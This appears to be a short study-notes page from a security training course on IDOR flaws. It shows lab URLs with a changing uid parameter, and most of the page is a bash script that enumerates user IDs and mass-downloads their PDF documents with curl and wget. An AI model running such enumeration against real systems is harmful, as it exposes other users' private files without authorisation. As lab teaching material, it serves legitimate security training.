> For the complete documentation index, see [llms.txt](https://kyou00.gitbook.io/xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kyou00.gitbook.io/xyz/academy-htb/view/bug-bounty-hunter/exploits/insecure-direct-object-reference-idor.md).

# Insecure Direct Object Reference (IDOR)

<pre data-overflow="wrap"><code>http://SERVER_IP:PORT/documents.php?uid=1
http://SERVER_IP:PORT/documents.php?uid=2

<strong># Ctrl+U to see the source page
</strong>&#x3C;li class='pure-tree_link'>&#x3C;a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice&#x3C;/a>&#x3C;/li>
&#x3C;li class='pure-tree_link'>&#x3C;a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report&#x3C;/a>&#x3C;/li>
</code></pre>

We can use bash to get the user from 1 to 10

{% code overflow="wrap" %}

```
#!/bin/bash

url="http://SERVER_IP:PORT"

for i in {1..10}; do
        for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
                wget -q $url/$link
        done
done
```

{% endcode %}